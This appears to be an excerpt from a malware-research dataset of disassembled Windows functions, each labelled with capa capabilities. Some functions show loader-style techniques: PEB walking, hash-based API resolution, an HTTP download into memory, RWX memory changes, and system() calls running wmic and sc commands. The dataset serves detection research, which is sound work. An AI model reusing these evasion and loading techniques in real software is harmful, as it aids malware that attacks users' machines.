joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7642e0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
movzx eax, byte [rdx]
mov r12, rdx
mov ebx, r8d
mov esi, r9d
cmp al, 0x8a
je 0x764348
cmp al, 0xb1
je 0x764318
mov rcx, qword [rcx]
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
jmp fcn.00752c70
movsxd r8, r8d
shl r8, 5
add r8, qword [rdx + 0x20]
cmp byte [rcx + 0x124], 1
mov rax, qword [r8 + 8]
ja 0x764378
mov rcx, qword [rcx]
test rax, rax
jne 0x764389
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb2
call fcn.007641c0
test rax, rax
je 0x764338
mov dword [rax + 0x2c], esi
mov word [rax + 0x30], bx
mov qword [rax + 0x10], r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
mov qword [r8 + 8], 0
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
mov r12, rax
jmp 0x7642ff
Function at 0x7941a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rdi, qword [rsp + 0x90]
mov r14, r8
mov r12, rcx
mov rbx, rdx
mov r8d, r9d
test rdx, rdx
je 0x794270
mov rsi, qword [rcx + 0x80]
mov rcx, rsi
call fcn.00752110
mov r13, rax
test rax, rax
je 0x794290
mov qword [rsp + 0x20], rax
lea rdx, [rsi + 0x10]
lea rcx, [rsi + 4]
mov r9, rbx
mov r8d, r14d
call fcn.0074abf0
movzx eax, word [r13 + 0x1c]
test ax, ax
je 0x794211
cmp ax, word [rsi + 8]
jbe 0x7942a0
lea rax, [0x00b43a3c]
mov r9d, 0x10870
lea r8, str.database_corruption
mov ecx, 0xb
mov qword [rsp + 0x20], rax
lea rdx, str._s_at_line__d_of___.10s_
mov r14d, 0xb
call fcn.0075eb20
mov rax, qword [r12 + 0x80]
mov rdx, r13
mov rcx, qword [rax + 0x10]
call fcn.0073cf60
mov eax, r14d
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
ret
mov r9, rdi
mov rdx, r14
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
jmp fcn.00794750
mov r14d, 7
jmp 0x794255
mov r8, rdi
mov rdx, r13
mov rcx, r12
call fcn.00793cb0
mov r14d, eax
jmp 0x794241
Function at 0x7a7020
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push r14
push r13
push r12
push rbx
sub rsp, 0x28
mov r14, qword [rcx]
mov r12, rcx
mov ebx, r8d
test rdx, rdx
je 0x7a7088
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
call fcn.00752c70
cmp byte [r14 + 0x67], 0
mov r13, rax
jne 0x7a7067
cmp qword [r12 + 0x10], 0
je 0x7a7067
mov r8d, ebx
mov rdx, rax
mov rcx, r12
call fcn.007a6fb0
test r13, r13
je 0x7a708f
mov rdx, r13
mov rcx, r14
add rsp, 0x28
pop rbx
pop r12
pop r13
pop r14
jmp fcn.00748680
cmp byte [r14 + 0x67], 0
je 0x7a70a0
add rsp, 0x28
pop rbx
pop r12
pop r13
pop r14
ret
cmp qword [rcx + 0x10], 0
je 0x7a708f
xor edx, edx
add rsp, 0x28
pop rbx
pop r12
pop r13
pop r14
jmp fcn.007a6fb0
Function at 0x7a7e30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov eax, dword [rdx + 8]
mov r12, rcx
mov rbx, rdx
mov edi, r8d
test eax, eax
jne 0x7a7f3f
mov rsi, qword [rdx + 0x60]
test rsi, rsi
je 0x7a7f3f
mov eax, dword [rcx + 0x38]
mov r13, qword [rcx + 0x10]
lea ebp, [rax + 1]
mov dword [rcx + 0x38], ebp
mov dword [rdx + 8], ebp
test r13, r13
jne 0x7a7e7a
call fcn.00757500
mov r13, rax
mov rcx, qword [rsi + 0x10]
lea rdx, [rsp + 0x3c]
call fcn.00742170
test eax, eax
jne 0x7a7f50
cmp qword [r12 + 0x10], 0
je 0x7a7ea7
mov rdx, qword [rsi + 0x10]
mov r8d, ebp
mov rcx, r12
call fcn.007a6fb0
xor r9d, r9d
mov r8d, ebp
mov edx, 0xc
mov rcx, r13
mov dword [rsp + 0x20], 0
call fcn.00756bb0
mov r9d, edi
mov r8d, ebp
mov edx, 0x10
mov dword [rsp + 0x20], 0
mov rcx, r13
call fcn.00756bb0
mov rdx, qword [rsi + 0x18]
test rdx, rdx
je 0x7a7f3f
mov eax, dword [r12 + 0x38]
cmp qword [r12 + 0x10], 0
lea esi, [rax + 1]
mov dword [rbx + 0xc], esi
lea ebx, [rax + 2]
mov dword [r12 + 0x38], ebx
je 0x7a7f0c
mov r8d, esi
mov rcx, r12
call fcn.007a6fb0
xor r9d, r9d
mov r8d, esi
mov edx, 0xc
mov rcx, r13
mov dword [rsp + 0x20], 0
call fcn.00756bb0
mov dword [rsp + 0x20], esi
mov r9d, ebx
mov r8d, ebp
mov edx, 0xa0
mov rcx, r13
call fcn.00756bb0
nop
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r8d, dword [rsp + 0x3c]
mov r9d, ebp
mov edx, 0x47
mov rcx, r13
mov dword [rsp + 0x20], 0
call fcn.00756bb0
mov eax, dword [rsp + 0x3c]
test eax, eax
je 0x7a7ff0
js 0x7a7edd
movzx r9d, word [rbx + 2]
movsxd rdx, eax
cmp eax, 7
jg 0x7a8010
cmp eax, 1
je 0x7a805e
mov rax, rdx
mov ecx, 0x1e
nop dword [rax]
add rax, rax
mov r8d, ecx
sub ecx, 0xa
cmp rax, 7
jbe 0x7a7fa0
lea r10, [0x00b4e210]
and eax, 7
movzx eax, word [r10 + rax*2]
lea r8d, [r8 + rax - 0xa]
cmp r9w, r8w
jle 0x7a7edd
mov ecx, 0x1e
nop word [rax + rax]
mov eax, ecx
add rdx, rdx
lea ecx, [rax - 0xa]
cmp rdx, 7
jbe 0x7a7fd8
and edx, 7
movzx edx, word [r10 + rdx*2]
jmp 0x7a804a
mov r9d, edi
xor r8d, r8d
mov edx, 8
mov rcx, r13
mov dword [rsp + 0x20], 0
call fcn.00756bb0
jmp 0x7a7edd
bsr rax, rdx
mov ecx, 0x3c
xor rax, 0x3f
sub ecx, eax
shr rdx, cl
lea r8d, [rcx + rcx*4]
lea rcx, [0x00b4e210]
and edx, 7
add r8d, r8d
movzx edx, word [rcx + rdx*2]
lea eax, [r8 + 0x28]
lea r8d, [rdx + r8 + 0x1e]
cmp r9w, r8w
jle 0x7a7edd
lea eax, [rax + rdx - 0xa]
or dword [rbx + 4], 0x4000
mov word [rbx + 2], ax
jmp 0x7a7edd
test r9w, r9w
jle 0x7a7edd
xor eax, eax
jmp 0x7a804e
Function at 0x7ae280
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push r14
push r13
push r12
push rbx
sub rsp, 0x28
mov r14, qword [rcx]
mov r12, rcx
mov ebx, r8d
test rdx, rdx
je 0x7ae2f8
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
call fcn.00752c70
cmp byte [r14 + 0x67], 0
mov r13, rax
je 0x7ae2d0
test r13, r13
je 0x7ae2e9
mov rdx, r13
mov rcx, r14
add rsp, 0x28
pop rbx
pop r12
pop r13
pop r14
jmp fcn.00748680
mov r9d, 0x10
mov r8d, ebx
mov rdx, rax
mov rcx, r12
call fcn.007a50c0
test r13, r13
jne 0x7ae2b6
add rsp, 0x28
pop rbx
pop r12
pop r13
pop r14
ret
cmp byte [r14 + 0x67], 0
jne 0x7ae2e9
mov r9d, 0x10
xor edx, edx
add rsp, 0x28
pop rbx
pop r12
pop r13
pop r14
jmp fcn.007a50c0
Function at 0x7e3a00
Capabilities:
Reference sql statements

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov ebp, dword [rsp + 0x90]
mov byte [rcx + 0x1c], 1
mov esi, r8d
mov rbx, rdx
mov rdi, r9
mov qword [rsp + 0x28], r9
mov r9, rdx
mov r12, rcx
mov dword [rsp + 0x20], r8d
mov r8, rdx
lea rdx, str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___d_NULL
mov dword [rsp + 0x30], ebp
call fcn.007dfc80
test esi, esi
je 0x7e3a50
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r9, rdi
mov r8, rbx
lea rdx, str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___d_NULL
mov rcx, r12
mov dword [rsp + 0x90], ebp
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.007dfc80
Function at 0x7e8160
Capabilities:
Reference sql statements

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rax, str.SELECT_parentnode_FROM__Q._q_parent_WHERE_nodeno_1
mov qword [rsp + 0x40], rax
mov rbx, rcx
mov esi, edx
mov r13, r8
lea rax, str.SELECT_nodeno_FROM__Q._q_rowid_WHERE_rowid_1
mov rbp, r9
mov qword [rsp + 0x48], rax
movsxd rax, edx
lea rdi, [rcx + rax*8]
cmp qword [rdi + 0x28], 0
je 0x7e8200
mov ecx, dword [rbx + 0x40]
test ecx, ecx
je 0x7e81b8
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r12, qword [rdi + 0x28]
mov r8, r13
mov edx, 1
mov rcx, r12
call fcn.00761bc0
mov rcx, r12
call fcn.007c4730
cmp eax, 0x65
je 0x7e8220
cmp eax, 0x64
je 0x7e8250
mov rcx, r12
call fcn.0079e1c0
mov edx, dword [rbx + 0x40]
test edx, edx
jne 0x7e81a4
mov dword [rbx + 0x40], eax
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rdx, qword [rsp + rax*8 + 0x40]
mov r9, qword [rcx + 0x10]
mov r8, qword [rcx + 8]
call fcn.007df2b0
mov qword [rdi + 0x28], rax
jmp 0x7e819d
test esi, esi
lea rdx, str.__parent
mov r9, rbp
mov r8, r13
lea rax, str.__rowid
mov rcx, rbx
cmove rax, rdx
lea rdx, str.Mapping___lld_____lld__missing_from__s_table
mov qword [rsp + 0x20], rax
call fcn.00786ac0
jmp 0x7e81de
xor edx, edx
mov rcx, r12
call fcn.0074ab40
mov r9, rax
cmp rbp, rax
je 0x7e81de
test esi, esi
lea rdx, str.__parent
mov r8, r13
mov rcx, rbx
lea rax, str.__rowid
mov qword [rsp + 0x30], rbp
cmove rax, rdx
mov qword [rsp + 0x28], r13
lea rdx, str.Found___lld_____lld__in__s_table__expected___lld_____lld_
mov qword [rsp + 0x20], rax
call fcn.00786ac0
jmp 0x7e81de
Function at 0x7fe7d0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateEventA]
mov qword [0x00bc3470], rax
test rax, rax
je 0x7fe805
lea rcx, [0x00bc3480]
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
mov ecx, 2
call qword [fcn.00800600]
mov r8d, 0x3d
mov edx, 1
lea rcx, str.runtime:_failed_to_create_runtime_initialization_wait_event._n
mov r9, rax
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop

Function at 0x7ff0a0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00800600
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00800600
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x7ff110
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00bc3ab4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x7ff2b8
mov rax, qword [0x00bc3ab8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x7ff15c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x7ff1e7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x7ff140
mov rcx, r12
call fcn.007ffe70
mov rbp, rax
test rax, rax
je 0x7ff2f2
mov rax, qword [0x00bc3ab8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.007fffa0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00bc3ab8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.DLL_VirtualQuery]
test rax, rax
je 0x7ff301
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x7ff1e0
sub eax, 4
and eax, 0xfffffffb
jne 0x7ff270
add dword [0x00bc3ab4], 1
cmp ebx, 8
jae 0x7ff218
test bl, 4
jne 0x7ff2c0
test ebx, ebx
je 0x7ff209
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x7ff2e0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x7ff209
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x7ff24a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00bc3ab8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x7ff1e0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.007ff0a0
nop dword [rax]
xor edi, edi
jmp 0x7ff167
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x7ff209
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x7ff209
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.007ff0a0
mov rax, qword [0x00bc3ab8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.007ff0a0
nop
nop dword [rax]
Function at 0x7ffae0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00bc3da0]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x00bc3d80]
test rbx, rbx
je 0x7ffb34
mov rdi, qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x7ffb2b
test r12, r12
je 0x7ffb2b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x7ffb10
lea rcx, [0x00bc3da0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]

Function at 0x7ffe70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00b55710]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x7ffee9
mov rcx, r10
call fcn.007ffd40
test eax, eax
je 0x7ffee9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x7ffee6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x7ffedd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x7ffee9
add r8, 0x28
cmp r8, r9
jne 0x7ffec8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Enumerate processes
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400011a0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400011a0
lea rdi, str.javaw.exe
nop dword [rax]
lea rdx, [rsp + 0x4c]
xor eax, eax
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rdi + rax*2]
jne 0x14000118a
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rdi + rax*2 + 2]
jne 0x14000118a
add rax, 2
cmp rax, 0xa
jne 0x1400010e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.pingowanie...
call fcn.140001010
lea rcx, str.wmic_process_where_name_svchost.exe__CALL_setpriority__idle___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.wmic_process_where_name_javaw.exe__CALL_setpriority__high_priority___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_process_where_name_javaw.exe__CALL_setpriority__high_priority___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_start_BITS__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400023a4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.__https:__www.youtube.com__Azael1332__n
call fcn.140001010
lea rcx, str.esia_antyknock_jest_to_idz_grac____nie_offaj_appki
call fcn.140001010
lea rcx, str.PAUSE__nul
jmp 0x1400011c8
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400010d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.__https:__www.youtube.com__Azael1332__n
call fcn.140001010
lea rcx, str._Odpal_mc_git_____dc:_zgine
call fcn.140001010
lea rcx, str.pause__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001210
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x130
mov esi, ecx
test ecx, ecx
je 0x1400010fc
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
mov rdi, qword [rdx + 0x20]
test rdi, rdi
je 0x1400010fc
mov ebp, 0x104
movzx eax, word [rdi + 0x48]
test ax, ax
je 0x1400010fc
cmp ax, bp
jae 0x1400010fc
mov r11, qword [rdi + 0x50]
xor r9d, r9d
movzx ecx, word [r11]
test cx, cx
je 0x14000109e
xor r10d, r10d
nop dword [rax]
movzx r8d, cl
lea eax, [r8 - 0x20]
movzx ecx, al
lea edx, [r8 - 0x61]
cmp dl, 0x19
cmova ecx, r8d
inc r9d
mov byte [rsp + r10 + 0x20], cl
mov r10d, r9d
movzx eax, word [r11 + r9*2]
movzx ecx, al
test ax, ax
jne 0x140001070
lea rcx, [rsp + 0x20]
mov byte [rsp + r9 + 0x20], 0
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
movsxd rdx, eax
test eax, eax
je 0x1400010f0
nop word [rax + rax]
movsx eax, byte [rsp + rcx + 0x20]
inc rcx
add eax, ebx
imul ebx, eax, 0x81
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x1400010c0
lea eax, [rbx + rbx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
cmp eax, esi
je 0x140001117
mov rdi, qword [rdi]
test rdi, rdi
jne 0x140001040
xor eax, eax
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov rax, qword [rdi + 0x20]
jmp 0x1400010fe
Function at 0x140001120
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
mov r12, r8
mov r13, rdx
mov dword [rsp + 0x30], r15d
mov rdi, rcx
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.OpenedInternet
xor edx, edx
xor r9d, r9d
mov esi, r15d
mov ebx, r15d
mov r14d, 1
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x140001183
mov eax, r15d
jmp 0x14000131c
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x2400
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x1400011cc
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
lea edx, [r15 + 0x27]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
xor eax, eax
jmp 0x14000131c
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1400012e4
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400012e4
nop word [rax + rax]
mov edx, dword [rsp + 0x30]
add rsi, rdx
test rbx, rbx
jne 0x140001227
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x140001239
mov r8d, 0x42
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x1400012e4
mov r9d, dword [rsp + 0x30]
mov r8, rax
sub r8, r9
mov dword [rsp + 0x88], 0
movsxd rax, dword [rsp + 0x88]
add r8, rsi
cmp rax, r9
jae 0x1400012a5
nop dword [rax + rax]
movsxd rax, dword [rsp + 0x88]
movsxd rcx, dword [rsp + 0x88]
movzx eax, byte [rax + rdi]
mov byte [rcx + r8], al
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0x88], eax
movsxd rax, dword [rsp + 0x88]
cmp rax, r9
jb 0x140001270
mov eax, dword [rsp + 0x30]
mov r8d, eax
test eax, eax
je 0x1400012be
xor edx, edx
mov rcx, rdi
call fcn.140001830
mov eax, dword [rsp + 0x30]
cmp eax, 0x400
jb 0x14000133c
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001210
xor r14d, r14d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rdi, rdi
je 0x140001319
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r14d
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [r13], rbx
mov qword [r12], rsi
jmp 0x1400012e7
Function at 0x140001350
Capabilities:
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x110
mov r15d, edx
mov rbp, rcx
test rcx, rcx
je 0x1400014f0
test edx, edx
je 0x1400014f0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400014f0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x1400014f0
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rsp + 0x20]
xor esi, esi
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x60], xmm1
mov r12d, dword [rsp + 0x90]
add r12, rbp
mov r13d, dword [r12 + 0x20]
mov ecx, dword [r12 + 0x1c]
add r13, rbp
mov edx, dword [r12 + 0x24]
add rcx, rbp
add rdx, rbp
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x160], rdx
cmp dword [r12 + 0x14], esi
jbe 0x1400014f0
nop dword [rax]
movzx eax, word [rdx + rsi*2]
xor ebx, ebx
mov edi, dword [r13 + rsi*4]
add rdi, rbp
mov r14d, dword [rcx + rax*4]
mov rcx, rdi
add r14, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
movsxd rdx, eax
test eax, eax
je 0x1400014d0
nop word [rax + rax]
movsx eax, byte [rdi + rcx]
inc rcx
add eax, ebx
imul ebx, eax, 0x81
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x1400014a0
lea eax, [rbx + rbx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
cmp r15d, eax
je 0x1400014eb
inc esi
cmp esi, dword [r12 + 0x14]
jae 0x1400014f0
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x160]
jmp 0x140001470
mov rax, r14
jmp 0x1400014f2
xor eax, eax
mov rbx, qword [rsp + 0x158]
add rsp, 0x110
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret